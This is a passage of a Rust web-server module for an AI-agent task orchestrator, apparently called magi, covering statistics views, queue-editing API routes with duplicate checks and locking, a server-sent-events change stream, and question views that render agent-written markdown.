4406    fn from(t: &stats::Totals) -> Self {
4407        Self {
4408            runs: t.runs,
4409            merged: t.merged,
4410            ready: t.ready,
4411            blocked: t.blocked,
4412            failed: t.failed,
4413            stalled: t.stalled,
4414            verified_noop: t.verified_noop,
4415            superseded: t.superseded,
4416            in_progress: t.in_progress,
4417            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4418            tallied: t.tallied,
4419            split: t.split,
4420            split_rate: RateView::of(t.split, t.tallied),
4421            deliberated: t.deliberated,
4422            minds_changed: t.minds_changed,
4423            converged: t.converged,
4424            review_rounds: t.review_rounds,
4425        }
4426    }
4427}
4428
4429/// [`crate::stats::AgentStats`] for the wire.
4430#[derive(Debug, Serialize)]
4431struct AgentStatsView {
4432    agent: String,
4433    entered: usize,
4434    wins: usize,
4435    empty: usize,
4436    win_rate: Option<RateView>,
4437}
4438
4439impl From<&stats::AgentStats> for AgentStatsView {
4440    fn from(a: &stats::AgentStats) -> Self {
4441        Self {
4442            agent: a.agent.clone(),
4443            entered: a.entered,
4444            wins: a.wins,
4445            empty: a.empty,
4446            win_rate: RateView::of(a.wins, a.entered),
4447        }
4448    }
4449}
4450
4451/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
4452/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
4453/// value, `None` when `rounds` is zero.
4454#[derive(Debug, Serialize)]
4455struct ReviewerStatsView {
4456    agent: String,
4457    rounds: usize,
4458    seated: usize,
4459    submitted: usize,
4460    adopted: usize,
4461    unique: usize,
4462    timeouts: usize,
4463    adopted_per_round: Option<f64>,
4464    precision: Option<RateView>,
4465    unique_rate: Option<RateView>,
4466    timeout_rate: Option<RateView>,
4467}
4468
4469impl From<&stats::ReviewerStats> for ReviewerStatsView {
4470    fn from(r: &stats::ReviewerStats) -> Self {
4471        Self {
4472            agent: r.agent.clone(),
4473            rounds: r.rounds,
4474            seated: r.seated,
4475            submitted: r.submitted,
4476            adopted: r.adopted,
4477            unique: r.unique,
4478            timeouts: r.timeouts,
4479            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4480            precision: RateView::of(r.adopted, r.submitted),
4481            unique_rate: RateView::of(r.unique, r.submitted),
4482            timeout_rate: RateView::of(r.timeouts, r.seated),
4483        }
4484    }
4485}
4486
4487/// [`crate::stats::AdvisorStats`] for the wire.
4488///
4489/// `reflection_rate` is approximate by construction — see
4490/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
4491/// that caveat is static text in `index.html`, not a field here.
4492#[derive(Debug, Serialize)]
4493struct AdvisorStatsView {
4494    agent: String,
4495    seated: usize,
4496    proposed: usize,
4497    absent: usize,
4498    faint: usize,
4499    strong: usize,
4500    reflection_rate: Option<RateView>,
4501}
4502
4503impl From<&stats::AdvisorStats> for AdvisorStatsView {
4504    fn from(a: &stats::AdvisorStats) -> Self {
4505        Self {
4506            agent: a.agent.clone(),
4507            seated: a.seated,
4508            proposed: a.proposed,
4509            absent: a.absent,
4510            faint: a.faint,
4511            strong: a.strong,
4512            reflection_rate: RateView::of(a.strong, a.proposed),
4513        }
4514    }
4515}
4516
4517/// [`crate::stats::E2eStats`] for the wire.
4518#[derive(Debug, Serialize)]
4519struct E2eStatsView {
4520    rounds: usize,
4521    failures: usize,
4522    sole_detections: usize,
4523    deferred: usize,
4524    sole_rate: Option<RateView>,
4525}
4526
4527impl From<&stats::E2eStats> for E2eStatsView {
4528    fn from(e: &stats::E2eStats) -> Self {
4529        Self {
4530            rounds: e.rounds,
4531            failures: e.failures,
4532            sole_detections: e.sole_detections,
4533            deferred: e.deferred,
4534            sole_rate: RateView::of(e.sole_detections, e.failures),
4535        }
4536    }
4537}
4538
4539/// [`crate::stats::ReleaseBumpStats`] for the wire.
4540///
4541/// `clean` is sent as a raw count, computed the same way
4542/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
4543/// needs_attention`) — never derived client-side from `automerge_enabled`,
4544/// which would misclassify a `merged_directly` bump (automerge rejected, but
4545/// magi merged it directly, so no human involvement) as needing attention.
4546#[derive(Debug, Serialize)]
4547struct ReleaseBumpStatsView {
4548    merged: usize,
4549    recorded: usize,
4550    pr_opened: usize,
4551    automerge_enabled: usize,
4552    merged_directly: usize,
4553    needs_attention: usize,
4554    clean: usize,
4555    coverage_rate: Option<RateView>,
4556    automerge_rate: Option<RateView>,
4557    attention_rate: Option<RateView>,
4558}
4559
4560impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4561    fn from(b: &stats::ReleaseBumpStats) -> Self {
4562        Self {
4563            merged: b.merged,
4564            recorded: b.recorded,
4565            pr_opened: b.pr_opened,
4566            automerge_enabled: b.automerge_enabled,
4567            merged_directly: b.merged_directly,
4568            needs_attention: b.needs_attention,
4569            clean: b.clean(),
4570            coverage_rate: RateView::of(b.recorded, b.merged),
4571            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4572            attention_rate: RateView::of(b.needs_attention, b.recorded),
4573        }
4574    }
4575}
4576
4577/// [`crate::queue::TaskCounts`] for the wire.
4578#[derive(Debug, Serialize)]
4579struct TaskCountsView {
4580    queued: usize,
4581    running: usize,
4582    done: usize,
4583    failed: usize,
4584    held: usize,
4585    blocked: usize,
4586}
4587
4588impl From<crate::queue::TaskCounts> for TaskCountsView {
4589    fn from(c: crate::queue::TaskCounts) -> Self {
4590        Self {
4591            queued: c.queued,
4592            running: c.running,
4593            done: c.done,
4594            failed: c.failed,
4595            held: c.held,
4596            blocked: c.blocked,
4597        }
4598    }
4599}
4600
4601/// [`crate::stats::RepoStats`] for the wire, one row per repository with
4602/// runs recorded — the summary the UI's repository selector is built from.
4603/// Carries no nested `Stats`: picking a repo means re-fetching
4604/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
4605/// aggregation rather than duplicating it.
4606#[derive(Debug, Serialize)]
4607struct RepoSummaryView {
4608    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
4609    /// against, full path and all (see [`stats_get`]'s own doc for why).
4610    repo: String,
4611    /// Display name only; never used for matching.
4612    name: String,
4613    runs: usize,
4614    completion_rate: Option<RateView>,
4615}
4616
4617impl From<&stats::RepoStats> for RepoSummaryView {
4618    fn from(r: &stats::RepoStats) -> Self {
4619        let t = &r.stats.totals;
4620        Self {
4621            repo: r.repo.to_string_lossy().into_owned(),
4622            name: r.name.clone(),
4623            runs: t.runs,
4624            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4625        }
4626    }
4627}
4628
4629/// `GET /api/stats` - the whole answer. `Stats` itself carries no
4630/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
4631/// renders from them) are free to grow without that becoming a wire-contract
4632/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
4633/// data" from "computed and it really is zero" the way [`RateView`] does.
4634#[derive(Debug, Serialize)]
4635struct StatsView {
4636    totals: StatsTotalsView,
4637    /// Best win rate first, as [`stats::collect`] already sorts it.
4638    agents: Vec<AgentStatsView>,
4639    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
4640    reviewers: Vec<ReviewerStatsView>,
4641    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
4642    advisors: Vec<AdvisorStatsView>,
4643    e2e: E2eStatsView,
4644    release_bumps: ReleaseBumpStatsView,
4645    queue: TaskCountsView,
4646    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
4647    /// that field's doc. Asserted to match it in
4648    /// `stats_runs_unreadable_matches_health`.
4649    ///
4650    /// Always the whole-workload count, even when `repo` narrows every other
4651    /// field to one repository - an unreadable `run.json` carries no `repo`
4652    /// a per-repository count could attribute it to, and the queue/health
4653    /// views this mirrors never scope it either. The UI must not present it
4654    /// as if it were scoped to the selected repository.
4655    runs_unreadable: usize,
4656    /// Every repository with runs recorded, most runs first - what the UI's
4657    /// repository selector is built from. Always the full list regardless of
4658    /// `repo`, so switching repositories never needs a second request.
4659    repos: Vec<RepoSummaryView>,
4660    /// Runs per local day over the last 30 days, oldest first, always 30
4661    /// entries. Days are the *server's* local dates (the UI must not convert
4662    /// them again), cut by run creation and classified by current status.
4663    /// Narrowed by `repo` like every other run-derived field.
4664    daily: Vec<DailyStatsView>,
4665    /// The `?repo=` value this response was narrowed to, echoed back so the
4666    /// UI can confirm its selection round-tripped. `None` for the aggregate,
4667    /// all-repositories view.
4668    repo: Option<String>,
4669}
4670
4671/// One day of [`StatsView::daily`].
4672#[derive(Debug, Serialize)]
4673struct DailyStatsView {
4674    /// `YYYY-MM-DD`, server-local.
4675    date: String,
4676    runs: usize,
4677    merged: usize,
4678    ready: usize,
4679    other: usize,
4680    /// `None` on a day with no runs, so it never reads as 0%.
4681    completion_rate: Option<RateView>,
4682}
4683
4684impl From<&stats::DayBucket> for DailyStatsView {
4685    fn from(b: &stats::DayBucket) -> Self {
4686        Self {
4687            date: b.date.to_string(),
4688            runs: b.runs,
4689            merged: b.merged,
4690            ready: b.ready,
4691            other: b.other,
4692            completion_rate: RateView::of(b.merged + b.ready, b.runs),
4693        }
4694    }
4695}
4696
4697/// How many days [`StatsView::daily`] covers.
4698const STATS_DAILY_DAYS: usize = 30;
4699
4700/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
4701/// repository. Matched by full-path equality against `RunState.repo` only
4702/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
4703/// `--repo` is, because the value here always came from this same route's
4704/// own `repos` list in an earlier response, never typed by a human. A value
4705/// matching no run is a 404, not an empty aggregate: the caller asked for a
4706/// specific, named repository, and silently returning zeroes would look
4707/// exactly like a repository that has runs but none of interest.
4708#[derive(Debug, Default, Deserialize)]
4709#[serde(default)]
4710struct StatsQuery {
4711    repo: Option<String>,
4712}
4713
4714/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
4715/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
4716/// runs when `?repo=` narrows it), the same counting logic `magi stats`
4717/// prints from. Reads every readable run on disk, exactly as
4718/// [`runs_unreadable`] does, so the two counts can never drift apart the way
4719/// a separately-maintained tally could.
4720async fn stats_get(
4721    State(ui): State<Arc<Ui>>,
4722    Query(q): Query<StatsQuery>,
4723) -> ApiResult<Json<StatsView>> {
4724    blocking(move || {
4725        let states: Vec<RunState> = run_ids(&ui.runs)
4726            .into_iter()
4727            .filter_map(|id| read_run(&ui.runs, &id).ok())
4728            .collect();
4729        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4730            .iter()
4731            .map(RepoSummaryView::from)
4732            .collect();
4733        let mut scoped: Vec<&RunState> = states.iter().collect();
4734        let collected = match &q.repo {
4735            Some(repo) => {
4736                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4737                if filtered.is_empty() {
4738                    return Err(ApiError::not_found(format!(
4739                        "no runs recorded against repo `{repo}`"
4740                    )));
4741                }
4742                scoped = filtered.clone();
4743                stats::collect_refs(filtered)
4744            }
4745            None => stats::collect(&states),
4746        };
4747        let daily = stats::daily(
4748            scoped,
4749            jiff::Zoned::now().date(),
4750            &jiff::tz::TimeZone::system(),
4751            STATS_DAILY_DAYS,
4752        );
4753        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4754        Ok(Json(StatsView {
4755            totals: StatsTotalsView::from(&collected.totals),
4756            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4757            reviewers: collected
4758                .reviewers
4759                .iter()
4760                .map(ReviewerStatsView::from)
4761                .collect(),
4762            advisors: collected
4763                .advisors
4764                .iter()
4765                .map(AdvisorStatsView::from)
4766                .collect(),
4767            e2e: E2eStatsView::from(&collected.e2e),
4768            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4769            queue: TaskCountsView::from(queue_counts),
4770            runs_unreadable: runs_unreadable(&ui.runs),
4771            repos,
4772            daily: daily.iter().map(DailyStatsView::from).collect(),
4773            repo: q.repo.clone(),
4774        }))
4775    })
4776    .await
4777}
4778
4779/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
4780/// gives no reason - which must keep working, since not every hold has one.
4781#[derive(Debug, Default, Deserialize)]
4782#[serde(default, deny_unknown_fields)]
4783struct HoldBody {
4784    reason: Option<String>,
4785}
4786
4787async fn queue_hold(
4788    State(ui): State<Arc<Ui>>,
4789    Path(id): Path<String>,
4790    body: std::result::Result<Json<HoldBody>, JsonRejection>,
4791) -> ApiResult<Json<TaskView>> {
4792    // An absent body is the ordinary case - most holds are unexplained, and
4793    // that has to stay a one-tap action rather than a form. A body that is
4794    // present and malformed is still a bad request.
4795    let body = match body {
4796        Ok(Json(body)) => body,
4797        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4798        Err(e) => return Err(ApiError::bad_request(e.body_text())),
4799    };
4800    let reason = body.reason.filter(|r| !r.trim().is_empty());
4801    mutate(ui, id, move |t| {
4802        t.hold_manual(reason.clone());
4803        Ok(())
4804    })
4805    .await
4806}
4807
4808async fn queue_release(
4809    State(ui): State<Arc<Ui>>,
4810    Path(id): Path<String>,
4811) -> ApiResult<Json<TaskView>> {
4812    mutate(ui, id, |t| {
4813        t.release();
4814        Ok(())
4815    })
4816    .await
4817}
4818
4819/// The body of `POST /api/queue/{id}/priority`.
4820#[derive(Debug, Deserialize)]
4821#[serde(deny_unknown_fields)]
4822struct PriorityBody {
4823    priority: i32,
4824}
4825
4826/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
4827///
4828/// [`Task::set_priority`] is the one place the "not while running" rule is
4829/// stated; this route only carries the body to it and lets its `Err` become
4830/// the 4xx the card shows.
4831async fn queue_priority(
4832    State(ui): State<Arc<Ui>>,
4833    Path(id): Path<String>,
4834    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4835) -> ApiResult<Json<TaskView>> {
4836    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4837    mutate(ui, id, move |t| t.set_priority(body.priority)).await
4838}
4839
4840/// The body of `POST /api/queue/{id}/edit`.
4841#[derive(Debug, Deserialize)]
4842#[serde(deny_unknown_fields)]
4843struct EditBody {
4844    title: String,
4845    instruction: String,
4846    /// Save even though the new text names a branch, commit or pull request
4847    /// that unfinished work already owns.
4848    #[serde(default)]
4849    force: bool,
4850}
4851
4852/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
4853/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
4854/// that refusal's message is what the sheet shows back.
4855async fn queue_edit(
4856    State(ui): State<Arc<Ui>>,
4857    Path(id): Path<String>,
4858    body: std::result::Result<Json<EditBody>, JsonRejection>,
4859) -> ApiResult<Json<TaskView>> {
4860    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4861    // The judge is an agent call, so it is awaited here, outside the claim
4862    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
4863    // remembered, and the save refuses if the task moved underneath it.
4864    let mut judged: Option<(String, PathBuf)> = None;
4865    if !body.force {
4866        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4867        let (id, text) = (id.clone(), body.instruction.clone());
4868        let (seen, hits) = blocking(move || {
4869            let id = resolve_task(&queue, &id)?;
4870            let t = queue.get(&id)?;
4871            if text == t.instruction {
4872                return Ok((None, Vec::new()));
4873            }
4874            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4875            Ok((Some((t.instruction, t.repo)), hits))
4876        })
4877        .await?;
4878        if let Some((_, repo)) = &seen {
4879            let cfg = crate::config::Config::discover(repo, None)
4880                .ok()
4881                .map(|(c, _)| c);
4882            let screened =
4883                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4884                    .await
4885                    .map_err(|dup| {
4886                        ApiError::conflict(dup.render(
4887                            "Nothing was saved. If it is not a duplicate, repeat the request \
4888                             with \"force\": true.",
4889                        ))
4890                    })?;
4891            if let crate::dupes::Screened::Unjudged(why) = screened {
4892                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
4893            }
4894        }
4895        judged = seen;
4896    }
4897    let force = body.force;
4898    mutate(ui, id, move |t| {
4899        if !force && body.instruction != t.instruction {
4900            match &judged {
4901                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4902                _ => {
4903                    anyhow::bail!("the task changed while it was being checked; repeat the request")
4904                }
4905            }
4906        }
4907        t.edit(body.title.clone(), body.instruction.clone())
4908    })
4909    .await
4910}
4911
4912/// `POST /api/queue/{id}/done` - close a task as finished without deleting
4913/// it, so the phone's other way to clear a task from the backlog does not
4914/// have to cost the run history, the attribution, and `created_at` the way
4915/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
4916/// can be marked done by hand, because this is for the run the loop never
4917/// saw land - a merge done by hand, or a gate that misreported - and that can
4918/// happen from any status the task was left in.
4919async fn queue_done(
4920    State(ui): State<Arc<Ui>>,
4921    Path(id): Path<String>,
4922) -> ApiResult<Json<TaskView>> {
4923    let home = ui.home.clone();
4924    mutate(ui, id, move |t| {
4925        t.succeed();
4926        // Same as the loop's own settle path: closing a task by hand is just
4927        // as much "this task's story is over" as a daemon-driven `Merged`/
4928        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
4929        // behind must stop looking like it still needs a human. `ui.home`,
4930        // not the process-global `run::home()`: they agree in a real
4931        // process, but only `ui.home` also agrees with a test fixture's own
4932        // directory.
4933        crate::daemon::supersede_prior_runs(t, &home);
4934        Ok(())
4935    })
4936    .await
4937}
4938
4939/// `DELETE /api/queue/{id}`.
4940///
4941/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
4942/// names this task: a `running` status or an orphaned `.lock` left behind by a
4943/// killed daemon is a leftover, and treating either as authority made the
4944/// task undeletable from the phone for good. The associated runs, if any, are
4945/// kept: a run is self-contained history and not an appendage of the task.
4946async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4947    blocking(move || {
4948        let id = resolve_task(&ui.queue, &id)?;
4949        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4950        ui.queue
4951            .remove(&id, in_flight, &ui.questions)
4952            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4953        Ok(StatusCode::NO_CONTENT)
4954    })
4955    .await
4956}
4957
4958/// Read a task, change it, write it back, under the queue's own lock.
4959///
4960/// Taking the same claim a daemon takes is what makes hold, release,
4961/// priority, edit, and done safe to press while magi is running: without it
4962/// the daemon's next save would land on top of the operator's change and
4963/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
4964/// both do, for a running task - and that refusal becomes the 4xx the card
4965/// shows, same as any other domain rule.
4966async fn mutate(
4967    ui: Arc<Ui>,
4968    id: String,
4969    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4970) -> ApiResult<Json<TaskView>> {
4971    blocking(move || {
4972        let id = resolve_task(&ui.queue, &id)?;
4973        // `claim` fails when the lock file already exists, which is the
4974        // conflict the UI must report: the daemon owns that task's file for
4975        // as long as it is running it, and our write would be lost under its
4976        // next save. The message names the lock either way.
4977        let _claim = ui.queue.claim(&id).map_err(|e| {
4978            ApiError::conflict(format!(
4979                "{e:#} - a daemon is running this task, so it cannot be \
4980                 changed from here yet"
4981            ))
4982        })?;
4983        let mut task = ui.queue.get(&id)?;
4984        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4985            Ok(dup) => ApiError::conflict(dup.render(
4986                "Nothing was saved. If it is not a duplicate, repeat the request with \
4987                 \"force\": true.",
4988            )),
4989            Err(e) => ApiError::bad_request_from(e),
4990        })?;
4991        ui.queue.put(&mut task)?;
4992        Ok(Json(TaskView::from(task)))
4993    })
4994    .await
4995}
4996
4997/// The change stream: one revision number per store, on connect and whenever
4998/// any of them moves.
4999///
5000/// The poll runs in one spawned task per client, which is affordable because
5001/// the work is a directory scan and a `stat` per file. It stops as soon as the
5002/// receiver is gone, so a phone that walks out of range costs nothing after
5003/// its next tick - there is no session and no cleanup to forget.
5004async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5005    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5006    tokio::spawn(async move {
5007        let mut ticker = tokio::time::interval(POLL);
5008        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5009        let mut stamps: Option<[Stamps; 3]> = None;
5010        loop {
5011            // The first tick completes immediately, which is what makes the
5012            // stream announce the current revisions on connect.
5013            ticker.tick().await;
5014            let state = Arc::clone(&ui);
5015            let revisions = tokio::task::spawn_blocking(move || {
5016                let stamps = [
5017                    store_stamps(state.queue.root(), false),
5018                    store_stamps(&state.runs, true),
5019                    store_stamps(state.talks.root(), false),
5020                ];
5021                let revisions = (
5022                    stamps_revision(&stamps[0]),
5023                    stamps_revision(&stamps[1]),
5024                    state.questions.revision(),
5025                    stamps_revision(&stamps[2]),
5026                    state.notices.revision(),
5027                    // The loop's counter is in-process state rather than a
5028                    // file, so nothing the three stats above look at would
5029                    // tell this phone that another one started the loop.
5030                    state.lock_loop().rev,
5031                );
5032                (revisions, stamps)
5033            })
5034            .await;
5035            let Ok((revisions, next_stamps)) = revisions else {
5036                break;
5037            };
5038            if last == Some(revisions) {
5039                continue;
5040            }
5041            let mut payload = serde_json::json!({
5042                "queue_rev": revisions.0,
5043                "runs_rev": revisions.1,
5044                "questions_rev": revisions.2,
5045                "talks_rev": revisions.3,
5046                "notifications_rev": revisions.4,
5047                "loop_rev": revisions.5,
5048            });
5049            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5050                for (index, (key, rev)) in [
5051                    ("queue_delta", base.0),
5052                    ("runs_delta", base.1),
5053                    ("talks_delta", base.3),
5054                ]
5055                .into_iter()
5056                .enumerate()
5057                {
5058                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5059                    // Empty diffs may mean a non-file dependency moved. Read whole.
5060                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5061                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
5062                    }
5063                }
5064            }
5065            last = Some(revisions);
5066            stamps = Some(next_stamps);
5067            // Giving up beats looping if the receiver is gone.
5068            let Ok(event) = Event::default().event("change").json_data(payload) else {
5069                break;
5070            };
5071            if tx.send(event).await.is_err() {
5072                break;
5073            }
5074        }
5075    });
5076    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5077        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5078}
5079
5080type Stamps = HashMap<String, (u128, u64)>;
5081
5082/// Metadata only: no task instructions or conversation bodies are read here.
5083fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5084    std::fs::read_dir(root)
5085        .into_iter()
5086        .flatten()
5087        .flatten()
5088        .filter_map(|entry| {
5089            let path = if runs {
5090                entry.path().join("run.json")
5091            } else {
5092                entry.path()
5093            };
5094            if !runs && path.extension().is_none_or(|ext| ext != "json") {
5095                return None;
5096            }
5097            let metadata = path.metadata().ok()?;
5098            let modified = metadata
5099                .modified()
5100                .ok()?
5101                .duration_since(std::time::UNIX_EPOCH)
5102                .ok()?;
5103            let id = if runs {
5104                entry.file_name().to_string_lossy().into_owned()
5105            } else {
5106                path.file_stem()?.to_string_lossy().into_owned()
5107            };
5108            Some((id, (modified.as_nanos(), metadata.len())))
5109        })
5110        .collect()
5111}
5112
5113#[derive(Debug, Serialize)]
5114struct Delta {
5115    base: u64,
5116    changed: Vec<String>,
5117    removed: Vec<String>,
5118}
5119
5120fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5121    let mut changed: Vec<_> = next
5122        .iter()
5123        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5124        .map(|(id, _)| id.clone())
5125        .collect();
5126    let mut removed: Vec<_> = previous
5127        .keys()
5128        .filter(|id| !next.contains_key(*id))
5129        .cloned()
5130        .collect();
5131    changed.sort_unstable();
5132    removed.sort_unstable();
5133    Delta {
5134        base,
5135        changed,
5136        removed,
5137    }
5138}
5139
5140/// Change detection token for recorded runs under `runs`.
5141///
5142/// Combines the id and `run.json` modification time of each run, so adding,
5143/// updating, or deleting any run — even an older one — moves the revision and
5144/// notifies connected clients via the change stream. Returns 0 when no runs
5145/// exist.
5146fn runs_revision(runs: &FsPath) -> u64 {
5147    stamps_revision(&store_stamps(runs, true))
5148}
5149
5150/// Opaque tokens use the exact metadata snapshot behind the delta, in both
5151/// health and SSE. Nanoseconds and length also detect same-millisecond writes
5152/// and deleting an older conversation (a newest-mtime token cannot do that).
5153fn stamps_revision(stamps: &Stamps) -> u64 {
5154    use std::hash::{Hash as _, Hasher as _};
5155    if stamps.is_empty() {
5156        return 0;
5157    }
5158    let mut entries: Vec<_> = stamps.iter().collect();
5159    entries.sort_unstable();
5160    let mut hasher = std::hash::DefaultHasher::new();
5161    entries.hash(&mut hasher);
5162    hasher.finish().max(1)
5163}
5164
5165/// Run ids under `runs`, newest first.
5166///
5167/// Rooted at an explicit directory rather than calling [`run::list_ids`],
5168/// which reads the process-global home: the server has to be drivable against
5169/// a temp directory for any of this to be testable.
5170fn run_ids(runs: &FsPath) -> Vec<String> {
5171    let mut ids: Vec<String> = std::fs::read_dir(runs)
5172        .into_iter()
5173        .flatten()
5174        .flatten()
5175        .filter(|e| e.path().join("run.json").is_file())
5176        .map(|e| e.file_name().to_string_lossy().into_owned())
5177        .collect();
5178    // Ids start with a sortable timestamp.
5179    ids.sort_unstable_by(|a, b| b.cmp(a));
5180    ids
5181}
5182
5183/// Read one run's state from an explicit runs root.
5184fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5185    let path = runs.join(id).join("run.json");
5186    let body =
5187        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5188    let state: RunState =
5189        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5190    // The same migration `RunState::load` applies, so a record from the
5191    // previous schema reads here as it does everywhere else (an origin-less
5192    // run shows as "origin unknown") instead of vanishing from the phone the
5193    // moment the schema is bumped.
5194    run::migrate_schema(state)
5195}
5196
5197/// Runs on disk under `runs` whose state this build cannot parse - almost
5198/// always a schema bump, occasionally a run killed mid-write.
5199///
5200/// Exposed so every surface that reports on runs shares one count instead of
5201/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
5202/// `magi doctor` calls this directly rather than guessing at the same number
5203/// a second way.
5204#[must_use]
5205pub fn runs_unreadable(runs: &FsPath) -> usize {
5206    run_ids(runs)
5207        .into_iter()
5208        .filter(|id| read_run(runs, id).is_err())
5209        .count()
5210}
5211
5212/// Expand an id or short id to exactly one run id.
5213fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5214    if runs.join(id).join("run.json").is_file() {
5215        return Ok(id.to_owned());
5216    }
5217    pick(run_ids(runs), id, "run")
5218}
5219
5220/// Expand an id or short id to exactly one task id.
5221fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5222    if queue.path_of(id).is_file() {
5223        return Ok(id.to_owned());
5224    }
5225    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5226}
5227
5228/// A question as the phone reads it.
5229///
5230/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
5231/// text already parsed into a node tree so the client never runs its own
5232/// markdown reader over agent-authored prose. A relative image path in it
5233/// resolves against this question's own panel asset route, which is the one
5234/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
5235/// separate, sandboxed document, but `detail` is rendered inline in the
5236/// operator's own page, so an image reference in it may only ever point at
5237/// files magi itself already serves for this question.
5238#[derive(Debug, Serialize)]
5239struct QuestionView {
5240    #[serde(flatten)]
5241    question: Question,
5242    detail_md: Vec<md::Node>,
5243    /// Each thread turn's body, parsed; same order as `question.thread`.
5244    thread_bodies_md: Vec<Vec<md::Node>>,
5245    /// Is the ball in the agent's court right now?
5246    ///
5247    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
5248    /// [`Question::say`] - so this is the one field that tells the phone to
5249    /// disable the answer controls and show "waiting for the agent" instead of
5250    /// a card the owner can act on. Computed rather than stored on
5251    /// [`Question`] itself, on the same reasoning as `waiting` on
5252    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
5253    /// it here means the client never has to re-derive that rule.
5254    waiting_on_agent: bool,
5255    /// Who is waiting on this open question - see [`holder_of`]. Separate
5256    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
5257    /// anyone is there to take it.
5258    holder: Option<&'static str>,
5259    /// Whether `magi serve` can start a follow-up agent for a conductor
5260    /// question at all: false when `daemon.max_deputies = 0` or the config is
5261    /// unreadable. Separate from `holder`, which says who is listening now.
5262    deputies_enabled: bool,
5263    /// `question.run` is a task id (conductor / triage questions), not a run
5264    /// id, so the UI links it to the task page.
5265    run_is_task: bool,
5266    /// The chat conversation this question's task came from, when the owner
5267    /// may hand the question to it - see [`crate::consult::origin_talk`]. The
5268    /// UI offers "Ask the chat agent" only when this is set; it is never one
5269    /// of `question.choices`.
5270    origin_chat: Option<String>,
5271}
5272
5273impl QuestionView {
5274    /// The view of `question`, reading who is waiting on it from `store`.
5275    ///
5276    /// `holder` needs the lease sidecar, which is why this is not a `From`.
5277    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5278        let base = md::ImageBase::QuestionPanel {
5279            id: question.id.clone(),
5280        };
5281        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5282        Self {
5283            detail_md: md::to_nodes(&question.detail, &base),
5284            thread_bodies_md: question
5285                .thread
5286                .iter()
5287                .map(|t| md::to_nodes(&t.body, &base))
5288                .collect(),
5289            waiting_on_agent: question.waiting_on_agent(),
5290            holder,
5291            deputies_enabled,
5292            run_is_task: question.run_names_task(),
5293            origin_chat: None,
5294            question,
5295        }
5296    }
5297
5298    /// Fill `origin_chat` from the queue and the talks.
